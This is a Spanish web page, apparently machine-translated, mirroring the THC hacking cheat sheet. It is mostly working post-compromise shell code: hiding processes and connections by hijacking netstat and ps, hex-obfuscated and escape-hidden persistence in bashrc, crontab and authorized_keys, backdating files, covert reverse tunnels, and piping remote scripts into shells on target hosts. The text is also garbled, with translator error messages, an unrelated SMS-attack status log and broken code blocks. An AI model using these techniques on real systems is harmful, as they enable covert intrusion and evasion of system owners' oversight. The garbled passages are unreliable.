Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
thc-tips-tricks-hacks-cheat-sheet — Various tips & tricks | Kitploit
Herramientas/GitHubGitHub/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
OSINT (Open Source Intelligence)Persistence MechanismsLateral MovementData ExfiltrationInformation GatheringPost-ExploitationPenetration TestingRed TeamingCurated Resources

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Payload Development
GitHubhackerschoice/thc-tips-tricks-hacks-cheat-sheet

thc-tips-tricks-hacks-cheat-sheet

Various tips & tricks

Ver Repositorio
3.9k471hace 1 mesRevisado por Kitploit
Compartir

Los consejos, trucos y hacks favoritos de THC (Hoja de referencia)

https://thc.org/tips

Una colección de nuestros trucos favoritos. Muchos de esos trucos no son nuestros. Simplemente los recopilamos.

Mostramos los trucos 'tal cual' sin ninguna explicación de por qué funcionan. Necesitas conocer Linux para entender cómo y por qué funcionan.

¿Tienes trucos? Únete a nosotros https://thc.org/ops

  1. Bash
    1. Configurar un Hack Shell
    2. Ocultar tus comandos
    3. Ocultar las opciones de tu línea de comandos
    4. Ocultar una conexión de red
    5. Ocultar un proceso como usuario
    6. Ocultar un proceso como root
    7. Ocultar scripts
    8. Ocultarse de cat
    9. Ejecutar en paralelo con archivos de log separados
  2. SSH
    1. SSH casi invisible
    2. Múltiples shells mediante 1 conexión SSH/TCP
    3. Túnel SSH
    4. Túnel SSH socks5
    5. SSH a un host detrás de NAT
    6. Pivote SSH mediante ProxyJump
    7. SSHD como usuario
  3. Red
    1. Descubrir hosts
    2. Tcpdump
    3. Túnel y reenvío
      1. Puertos inversos TCP crudos
      2. Reenvíos inversos HTTPS
      3. Rebotar tráfico con iptables
      4. IP fantasma / Suplantación de IP
      5. Varios
    4. Usar cualquier herramienta mediante un proxy SOCKS
    5. Encontrar tu dirección IP pública
    6. Comprobar accesibilidad desde todo el mundo
    7. Comprobar/Escanear puertos abiertos
    8. Romper hashes de contraseñas
    9. Fuerza bruta de contraseñas / claves
  4. Subida/Descarga/Exfiltración de datos
    1. Codificación/Decodificación de archivos
    2. Transferencia de archivos con cortar y pegar
    3. Transferencia de archivos con tmux
    4. Transferencia de archivos con screen
    5. Transferencia de archivos con gs-netcat y sftp
    6. Transferencia de archivos con HTTP
    7. Descarga de archivos sin curl
    8. Transferencia de archivos con rsync
    9. Transferencia de archivos a sitios públicos de volcado
    10. Transferencia de archivos con WebDAV
    11. Transferencia de archivos a Telegram
  5. Reverse Shell / Shell tonta
    1. Reverse Shells
      1. con gs-netcat (cifrado)
      2. con Bash
      3. con cURL (cifrado)
      4. con cURL (texto claro)
      5. con OpenSSL (cifrado)
      6. con remote.moe (cifrado)
      7. sin /dev/tcp
      8. con Python
      9. con Perl
      10. con PHP
    2. Mejorar la shell tonta
      1. Mejorar una reverse shell a una shell pty
      2. Mejorar una reverse shell a una shell totalmente interactiva
      3. Reverse shell con socat (totalmente interactiva)
  6. Puertas traseras
    1. gs-netcat
    2. sshx.io
    3. La puerta trasera SSHD más pequeña
    4. Acceso remoto a toda una red
    5. La puerta trasera PHP más pequeña
    6. La puerta trasera con túnel DNS inverso más pequeña
    7. Puerta trasera de root local
    8. Implante autoextraíble
  7. Reconocimiento de host
  8. Trucos de shell
    1. Destruir archivos (borrado seguro)
    2. Restaurar la fecha de un archivo
    3. Limpiar archivo de log
    4. Ocultar archivos a un usuario sin privilegios de root
    5. Hacer un archivo inmutable
    6. Cambiar de usuario sin sudo/su
    7. Ofuscar y cifrar payload
    8. Desplegar una puerta trasera sin tocar el sistema de archivos
  9. Criptografía
    1. Generar rápidamente una contraseña aleatoria
    2. Sistemas de archivos cifrados transportables en Linux
      1. cryptsetup
      2. EncFS
    3. Cifrar un archivo
  10. Sniffing y secuestro de sesiones
    1. Snifar la sesión SHELL de un usuario
    2. Snifar todas las sesiones SHELL con dtrace
    3. Snifar todas las sesiones SHELL con eBPF
    4. Snifar la sesión SSH o SSHD de un usuario con strace
    5. Snifar la sesión SSH saliente de un usuario con un script wrapper
    6. Snifar la sesión SSH saliente de un usuario con SSH-IT
    7. Secuestrar / tomar el control de una sesión SSH en ejecución
  11. VPN y shells
    1. Servidores root desechables
    2. Proveedores de VPN/VPS
  12. Recopilación de inteligencia OSINT
  13. Varios
    1. Herramientas del oficio
    2. Comandos Linux geniales
    3. Hoja de referencia de tmux
    4. Comandos útiles
  14. Cómo convertirse en hacker
  15. Otros sitios

1. Bash / Shell

1.i. Configurar un Hack Shell (bash):

Haz que BASH sea menos ruidoso. Desactiva ~/.bash_history y muchas otras cosas.```sh source <(curl -SsfL https://thc.org/hs)

root@kitploit:~
URL alternativa:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

Y si no hay curl/wget, usa surl y el curl (temporalmente) instalado con bin curl.```sh source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)

Afterwards type bin curl to (temporarily) install curl (in memory).

root@kitploit:~
HackShell hace mucho más, pero lo más importante es esto:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Usamos anew mucho, y esta es una solución rápida:```shell xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; } which anew &>/dev/null || alias anew=xanew

root@kitploit:~
Consejo adicional:
Cualquier comando que comience con un " " (espacio) tampoco [se registrará en el historial](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$  id

1.ii. Oculta tu comando / Daemoniza tu comando

Esto solo ocultará el nombre del proceso. Usa zapper para ocultar también las opciones de la línea de comandos.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'

root@kitploit:~
Inicia un 'nmap' en segundo plano oculto como '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

Comience dentro de un GNU screen:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24

Attach back to the nmap process

screen -x MyName

root@kitploit:~
Alternativamente, copie el binario a un nuevo nombre:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

o use bind-mount para (temporalmente) hacer que /sbin/init apunte a /dev/shm/nmap en su lugar:```shell mount -n --bind "$(command -v nmap)" /sbin/init

starting /sbin/init will instead execute nmap

(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)

root@kitploit:~
<a id="zap"></a>
**1.iii. Oculta tus opciones de línea de comandos**

Usa [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

No se proporcionó contenido para traducir en la entrada.```sh

Start Nmap but zap all options and show it as 'klog' in the process list:

./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24

Started as a daemon and sshd-style name:

(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)

Replace the existing shell with tmux (with 'exec').

Then start and hide tmux and all further processes - as some kernel process:

exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

root@kitploit:~
<a id="bash-hide-connection"></a>
**1.iv. Ocultar una conexión de red**

El truco consiste en secuestrar `netstat` y usar grep para filtrar nuestra conexión. Este ejemplo filtra cualquier conexión en el puerto 31337 _o_ ip 1.2.3.4. Lo mismo debería hacerse para `ss` (una alternativa a netstat).

**Método 1 - Ocultar una conexión con función bash en ~/.bashrc**

Corta y pega esto para añadir la línea a ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

O corta y pega esto como entrada ofuscada en /.bashrc:```shell X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc

root@kitploit:~
La entrada ofuscada en ~/.bashrc se verá así:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

Método 2 - Ocultar una conexión con un binario en $PATH

Crea un binario netstat falso en /usr/local/sbin. En un Debian predeterminado (y en la mayoría de Linux) la variable PATH (echo $PATH) lista /usr/local/sbin antes de /usr/bin. Esto significa que nuestro binario secuestrador /usr/local/sbin/netstat se ejecutará en lugar de /usr/bin/netstat.```shell echo '#! /bin/bash exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

root@kitploit:~
*(gracias iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. Ocultar un proceso como usuario**

Continuando desde «Ocultar una conexión», se puede usar la misma técnica para ocultar un proceso. Este ejemplo oculta el proceso de nmap y también se asegura de que nuestro `grep` no aparezca en la lista de procesos renombrándolo a GREP:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

1.vi. Ocultar un proceso como root

Esto requiere privilegios de root y es un viejo truco de Linux que consiste en sobremontar /proc/<pid> con un directorio inútil:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }

root@kitploit:~
Para ocultar un comando usa:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(gracias a druichi por mejorar esto)

1.vii. Ocultar scripts de shell

Arriba discutimos cómo ofuscar una línea en ~/.bashrc. Un truco muy utilizado es usar source en su lugar. El comando source se puede abreviar como . (sí, un punto) y también busca a través de la variable $PATH el archivo a cargar.

En este ejemplo, nuestro script prng contiene todas nuestras funciones de shell anteriores. Esas funciones ocultan el proceso nmap y la conexión de red. Por último, añadimos . prng al archivo rc de todo el sistema. Esto cargará prng cuando el usuario (y root) inicie sesión:```shell echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; } ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

root@kitploit:~
(Lo mismo funciona para `lsof`, `ss` y `ls`)

<a id="cat"></a>
**1.viii. Ocultarse de cat**

Los caracteres de escape ANSI o un simple `\r` ([retorno de carro](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) se pueden usar para ocultarse de `cat` y otros.

Oculta el último comando (ejemplo: `id`) en `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Añade una línea crontab oculta:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab

root@kitploit:~
Agregar un `\r` (retorno de carro) ayuda mucho a ocultar tu clave ssh de `cat`:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

1.ix. Ejecutar en paralelo con archivos de registro separados*

Nota: Lo mismo se puede lograr con parallel.

Escanear hosts con 20 tareas en paralelo:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'

root@kitploit:~
- `exec` se usa para reemplazar el shell subyacente con el último proceso (nmap). Es opcional pero reduce la cantidad de binarios de shell en ejecución/innecesarios.
- `${SLOT}` contiene un valor entre 0..19. Es el "número de tarea". Lo usamos para escribir los resultados de nmap en 20 archivos separados.

Ejecuta [Linpeas](https://github.com/carlospolop/PEASS-ng) en todos los hosts [gsocket](https://www.gsocket.io/deploy) usando 40 workers:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

2. SSH

2.i. SSH casi invisible

Evita que aparezcas en el comando w o who y evita registrar el host en ~/.ssh/known_hosts.```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"

root@kitploit:~
Disfruta de la máxima comodidad con PTY y colores: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

(Vea Hackshell)

2.ii Múltiples shells mediante 1 conexión SSH/TCP

Ten una conexión TCP al objetivo y permite que múltiples usuarios se enganchen a la misma conexión TCP para abrir más sesiones de shell.

Crea una conexión maestra:```sh ssh -M -S .sshmux [email protected]

root@kitploit:~
Crea más sesiones de shell usando la misma conexión Master-TCP (única) de arriba (sin necesidad de contraseña/autenticación):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Se puede combinar con xssh para ocultarse de utmp.

2.iii Túnel SSH

Usamos esto todo el tiempo para evadir cortafuegos locales y filtrado de IP:```sh ssh -g -L31337:1.2.3.4:80 [email protected]

root@kitploit:~
Tú o cualquier otra persona ya pueden conectarse a tu ordenador en el puerto 31337 y ser tunelizados a 1.2.3.4 puerto 80 y aparecer con la IP de origen de 'server.org'. Una alternativa y sin necesidad de un servidor es usar [gs-netcat](#backdoor-network).

Los hackers inteligentes usan la combinación de teclado `~C` para crear dinámicamente estos túneles sin tener que reconectar el SSH. (gracias a MessedeDegod).

Usamos esto para dar acceso a un amigo a una máquina interna que no está en la Internet pública:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Cualquiera que se conecte a server.org:31338 será tunelizado a 192.168.0.5 en el puerto 80 a través de tu ordenador. Una alternativa sin necesidad de un servidor es usar gs-netcat.

2.iv Túnel SSH socks4/5

OpenSSH 7.6 añade soporte para socks en el reenvío dinámico. Ejemplo: Tuneliza todo el tráfico de tu navegador a través de tu servidor.```sh ssh -D 1080 [email protected]

root@kitploit:~
Ahora configura tu navegador para usar SOCKS con 127.0.0.1:1080. Todo tu tráfico ahora se tuneliza a través de *server.org* y aparecerá con la IP de origen de *server.org*. Una alternativa, sin necesidad de un servidor, es usar [gs-netcat](#backdoor-network).

Esto es lo inverso del ejemplo anterior. Permite que otros accedan a tu red *local* o que usen tu computadora como punto final del túnel.```sh
ssh -g -R 1080 [email protected]

Los demás configurando server.org:1080 como su proxy SOCKS4/5. Ahora pueden conectarse a cualquier ordenador en cualquier puerto al que tu ordenador tenga acceso. Esto incluye el acceso a ordenadores detrás de tu cortafuegos que estén en tu red local. Una alternativa y sin necesidad de un servidor es usar gs-netcat.

2.v SSH a un host detrás de NAT

ssh-j.com ofrece un gran servicio de retransmisión: Para acceder a un host detrás de NAT/Firewall (vía SSH).

En el host detrás de NAT: Crea un túnel SSH inverso a ssh-j.com de la siguiente manera:```sh

Cut & Paste on the host behind NAT.

sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }

sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN

root@kitploit:~
Luego usa este comando desde cualquier otro lugar del mundo para conectarte como 'root' a 'foobarblahblub' (el host detrás del NAT):```sh
ssh -J [email protected] root@foobarblahblub

La conexión SSH pasa a través de ssh-j.com hacia el túnel inverso hasta el host detrás de NAT. El tráfico está cifrado de extremo a extremo y ssh-j.com no puede ver el contenido.

2.vi Pivoting SSH a múltiples servidores

SSH ProxyJump puede ahorrarte mucho tiempo y molestias cuando trabajas con servidores remotos. Supongamos el escenario:

Nuestra estación de trabajo es $local-kali y queremos conectarnos por SSH a $target-host. No hay conexión directa entre nuestra estación de trabajo y $target-host. Nuestra estación de trabajo solo puede alcanzar a $C2. $C2 puede alcanzar a $internal-jumphost (a través de eth1 interna) y $internal-jumphost puede alcanzar el destino final $target-host a través de eth2.```sh $local-kali -> $C2 -> $internal-jumphost -> $target-host eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135 eth2 172.16.2.120 172.16.2.121

root@kitploit:~
> No ejecutamos `ssh` en ninguna computadora excepto en nuestra estación de trabajo de confianza, y tampoco debes hacerlo tú (nunca).

Ahí es donde ProxyJump ayuda: podemos 'saltar' a través de los dos servidores intermediarios $C2 y $internal-jumphost (sin abrir un shell en esos servidores). La conexión ssh está cifrada de extremo a extremo entre nuestro $local-kali y $target-host, y ninguna contraseña o clave queda expuesta a $C2 o $internal-jumphost.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

También usamos esto para ocultar nuestra dirección IP al iniciar sesión en servidores.

2.vii SSHD como userland

Es posible iniciar un servidor SSHD como un usuario no root y usarlo para multiplexar o reenviar conexiones TCP (sin registro y cuando el SSHD del sistema prohíbe el reenvío/multiplexación) o como un rápido servidor de volcado de exfiltración que se ejecuta como no root:```sh

On the server, as non-root user 'joe':

mkdir -p /.ssh 2>/dev/null ssh-keygen -q -N "" -t ed25519 -f sshd_key cat sshd_key.pub >>/.ssh/authorized_keys cat sshd_key $(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv

root@kitploit:~
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

SSF es una forma alternativa de multiplexar TCP sobre TLS.


3. Red

3.i. Descubrir hosts```sh

ARP discover computers on the LOCAL network only

nmap -n -sn -PR -oG - 192.168.0.1/24

root@kitploit:~
|Tipos de archivo| Múltiple|```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

3. Salida de reaper s:

Terminado – mostrar estadísticas de la última sesión.

root@kitploit:~
no results found

SRI: 111427 | UID: - | MD: +372 XXXXXXXXXX | Sig: 0 | Left: 0
Rate: 3.5714 cps | Total SMS Sent: 0 | Time: 09:16:32
==========================================================
Status          |   Value
==========================================================
Database        | 3063
Modem           | Online - COM PORT: COM5
IMEI            | 3.5714XXXXXXXXXX
IMSI            | N/A
Operator        | N/A
Network         | GSM (3G) - TELE2
Signal          | 23
Ber             | 0
Session Time    | 09:17:03
Session State   | Inactive - Waiting for start
CPS             | Active: 3.5714 | Max: 30
Real CPS        | Current: 3.5714 | Max: 30
Attack Duration | T: 00:01:32 | S: 00:00:00
Sent            | 0
``````sh
## ICMP discover hosts (local LAN) ROOT
# NET="10.11.0"  # discover 10.11.0.1-10.11.0.254
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

3.ii. tcpdump```sh

Monitor every new TCP connection

tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

Play a bing-noise for every new SSH connection

tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \a; done

Ascii output (for all large packets. Change to >40 if no TCP options are used).

tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

root@kitploit:~
---
<a id="tunnel"></a>
**3.iii. Túnel y reenvío**```sh
## Connect to SSL (using socat)
socat stdio openssl-connect:smtp.gmail.com:465

## Connect to SSL (using openssl)
openssl s_client -connect smtp.gmail.com:465

No se incluyó contenido en el campo INPUT para traducir (chunk 90). Reenvía el fragmento y lo traduciré al español.```sh

Bridge TCP to SSL

socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465

root@kitploit:~
---

<a id="ports"></a>
**3.iii.a Puertos TCP reversos en bruto**

Útil para backdoors reversos que necesitan un puerto TCP en una dirección IP pública:

Usando [segfault.net](https://thc.org/segfault.net) (gratis):```sh
# Request a random public TCP port:
curl sf/port
echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)"
nc -vnlp $(cat /config/self/reverse_port)

Usando bore.pub (gratis):```sh

Forward a random public TCP port to localhost:31337

bore local 31337 --to bore.pub

root@kitploit:~
usando [serveo.net](https://serveo.net) (gratis):```sh
# Forward a random public TCP port to localhost:31337
ssh -R 0:localhost:31337 [email protected]

usando pinggy.io (60 minutos gratis):```sh ssh -p 443 -R 0:localhost:31337 [email protected]

root@kitploit:~
Vea también [remote.moe](#revese-shell-remote-moe) (gratuito) para reenviar TCP sin procesar desde el objetivo a su estación de trabajo, o [playit](https://playit.gg/) (gratuito) o [ngrok](https://ngrok.com/) (suscripción de pago) para reenviar un puerto TCP público sin procesar.

Otros servicios gratuitos se limitan a reenviar solo HTTPS (no TCP sin procesar). Algunos trucos a continuación muestran cómo tunelizar TCP sin procesar a través de reenvíos HTTPS (usando websockets).

---
<a id="https"></a>
**3.iii.b Túneles inversos HTTPS**

En el servidor, use cualquiera de estos tres servicios de túnel HTTPS:```sh
### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using remote.moe
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using cloudflared
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod 755 cloudflared
cloudflared tunnel --url http://localhost:8080 --no-autoupdate

Cualquiera de los dos servicios generará una nueva URL HTTPS temporal para que la uses.

Luego, usa websocat o Gost en ambos extremos para tunelizar TCP sin procesar a través de la URL HTTPS:

A. Una tubería simple de STDIN/STDOUT a través de HTTPS:```sh

On the server convert WebSocket to raw TCP:

websocat -s 8080

root@kitploit:~
```sh
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

B. Reenviar TCP crudo vía HTTPS:```sh

On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:

gost -L mws://:8080

root@kitploit:~
Reenvía el puerto 2222 al puerto 22 del servidor.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

o usar el servidor como nodo de salida Socks-Proxy (p. ej., acceder a cualquier host dentro de la red del servidor o incluso a Internet a través del servidor (usando el túnel inverso HTTPS de arriba):```sh

On the workstation:

gost -L :1080 -F 'mwss://:443'

Test the Socks-proxy:

curl -x socks5h://0 ipinfo.io

root@kitploit:~
Más: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) y [Túnel a través de Cloudflare para cualquier servicio TCP](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) y [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c Haciendo rebotar tráfico con iptables**

Haz rebotar a través de un host/enrutador sin necesidad de ejecutar un proxy o reenviador en el espacio de usuario:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

(Ver Hackshell bounce)

Luego configura los reenvíos así:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443

root@kitploit:~
Usamos este truco para llegar a la gsocket-relay-network (o TOR) desde lo más profundo de redes con firewall.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  
root@kitploit:~
# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

3.vi.c Ghost IP / Suplantación de IP

Útil en un host dentro de la red objetivo. Esta herramienta reconfigura (sin dejar rastro) la SHELL: cualquier programa (nmap, cme, ...) iniciado desde esta SHELL utilizará una IP falsa. Todos tus ataques se originarán desde un host que no existe.```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)

root@kitploit:~
Esto también funciona en combinación con:
